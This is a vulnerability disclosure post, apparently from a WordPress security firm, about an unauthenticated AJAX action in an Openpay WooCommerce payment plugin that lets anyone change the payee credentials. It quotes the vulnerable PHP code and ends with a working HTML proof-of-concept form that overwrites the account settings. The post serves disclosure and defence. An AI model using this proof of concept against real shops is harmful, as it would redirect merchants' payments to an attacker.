Hacker Targeted WooCommerce Payment Plugin From Openpay Allows Anyone to Change Payee Setting
On Monday we had what appeared to be a hacker probing for usage of the Openpay Payment Gateway plugin (not to be confused with BBVA’s Openpay plugins) for WooCommerce with the following request:
/wp-content/plugins/opy-paymentplugin-woocommerce/README.md
That plugin isn’t included in the WordPress plugin directory, so we don’t know how widely used it.
After noticing that, we did our standard checks that we do over a WordPress plugin when it looks like it might be targeted by hackers, to see if there is a vulnerability we should warn customers of our service about. What we found is that anyone can change the Openpay account that will receive payments through the plugin. Hackers have long done just that sort of thing, so that could be what hacker is interested in here.
The cause of that is a lack of basic security. The plugin registers the function min_max_price() to be accessible through WordPress AJAX functionality to those logged in to WordPress as well as those not logged in:
36 37 | add_action( 'wp_ajax_openpay_minmax', array( $gateway, 'min_max_price' ), 10, 2 ); add_action( 'wp_ajax_nopriv_openpay_minmax', array( $gateway, 'min_max_price' ), 10, 2 ); |
There isn’t any reason that those not logged in should have access. That is further compounded by a lack of security checks in the function, which is located in the file /class/WC_Gateway_Openpay.php:
365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 | public function min_max_price() { $backofficeParams = $this->getBackendParams(); $result = []; try { if ( array_key_exists('action', $_POST) && $_POST['action'] == 'openpay_minmax' ) { $backofficeParams = [ 'auth_user' => $_POST['auth_user'] ? $_POST['auth_user'] : $this->get_option( 'auth_user' ), 'auth_token' => $_POST['auth_token'] ? $_POST['auth_token'] : $this->get_option( 'auth_token' ), 'region' => $_POST['region'] ? $_POST['region'] : $this->get_option( 'region' ), 'payment_mode' => $_POST['payment_mode'] ? $_POST['payment_mode'] : $this->get_option( 'payment_mode' ) ]; } // get existing value of min and max from backofficeparams $min = $this->get_option( 'minimum' ); $max = $this->get_option( 'maximum' ); $paymentmanager = new BusinessLayer\Openpay\PaymentManager( $backofficeParams ); $paymentmanager->setUrlAttributes(array('online')); $config = $paymentmanager->getConfiguration(); // get values from openpay pay api $minValue = ( (int)$config->minPrice )/100; $maxValue = ( (int)$config->maxPrice )/100; if ( $min == '' || $min != $minValue ) { $this->update_option( 'minimum' , $minValue ); } if ( $max == '' || $max!= $maxValue ) { $this->update_option( 'maximum' , $maxValue ); } if ( array_key_exists('action', $_POST) && $_POST['action'] == 'openpay_minmax' ) { $this->update_option( 'auth_user' , $_POST['auth_user'] ); $this->update_option( 'auth_token' , $_POST['auth_token'] ); $this->update_option( 'payment_mode' , $_POST['payment_mode'] ); $this->update_option( 'region' , $_POST['region'] ); $result = [ 'success' => true, 'auth_user' => $this->get_option( 'auth_user' ), 'auth_token' => $this->get_option( 'auth_token' ), 'payment_mode' => $this->get_option( 'payment_mode' ), 'region' => $this->get_option( 'region' ), 'minimum' => $this->get_option('minimum'), 'maximum' => $this->get_option( 'maximum' ) ]; wp_send_json($result); } $this->log->add( 'openpay', 'Updated min/max successfully!!' ); } catch ( \Exception $e ) { if ( array_key_exists('action', $_POST) && $_POST['action'] == 'openpay_minmax' ) { $this->update_option( 'auth_user' , $_POST['auth_user'] ); $this->update_option( 'auth_token' , $_POST['auth_token'] ); $this->update_option( 'payment_mode' , $_POST['payment_mode'] ); $this->update_option( 'region' , $_POST['region'] ); $result = [ 'success' => false, 'auth_user' => $this->get_option( 'auth_user' ), 'auth_token' => $this->get_option( 'auth_token' ), 'payment_mode' => $this->get_option( 'payment_mode' ), 'region' => $this->get_option( 'region' ), ]; wp_send_json($result); } $this->log->add( 'openpay', $e->getMessage() ); } } |
There should be a capabilities check to limit what WordPress users can access to the functionality in the function, as well as a nonce check to prevent cross-site request forgery (CSRF). Through the function, the following settings of the plugin can be changed:
- Openpay Username
- Mode
- Region
Unresponsive Developer
The developer of the plugin, Openpay, is a fintech company that recently reported raising 18.25 million Australian dollars (about 13 million US dollars). Despite those things, we couldn’t find any information on their process for handling the reporting of security issues or even a security contact for them. Their website’s contact form didn’t seem to have a relevant submission category for reporting something like this. The GitHub repository for the plugin doesn’t have a security policy. There is an email listed for the GitHub account and we contacted them through that on Tuesday afternoon.
When we emailed them, we mentioned that we would need to disclose the vulnerability quickly since it looks like it could already being exploited and we need to notify our customers in a timely manner, but that we could hold things back a day, to give them a chance to fix this. We have yet to hear back from them.
Takeaway
This is far from the first time we have seen what looks to be a hacker probing for usage of a plugin that works with WooCommerce, when the plugin at the time contains a vulnerability that a hacker would be interested in exploiting. Clearly then you can’t rely on plugin developers to secure their own plugins. WooCommerce also doesn’t appear to be doing anything to make sure that plugins that work with it are secured. If you can afford it, your best option to get an assessment of if plugins you use or are considering using is to get a security review of the plugin done. We offer to do those and are the only ones that do that we are aware of that have actually released results of reviews, so that others can confirm the quality of the results.
In this situation, the developer could afford to get such a review, as our price for this plugin would be $300.
Proof of Concept
The following proof of concept will change the Openpay Username and Openpay Password to to proof of concept.
Replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="openpay_minmax" /> <input type="hidden" name="auth_user" value="proofofconcept" /> <input type="hidden" name="auth_token" value="proofofconcept" /> <input type="hidden" name="woocommerce_openpay_minimum" value="proofofconcept" /> <input type="hidden" name="woocommerce_openpay_maximum" value="proofofconcept" /> <input type="submit" name="submit" value="Submit" /> </form> </body> </html>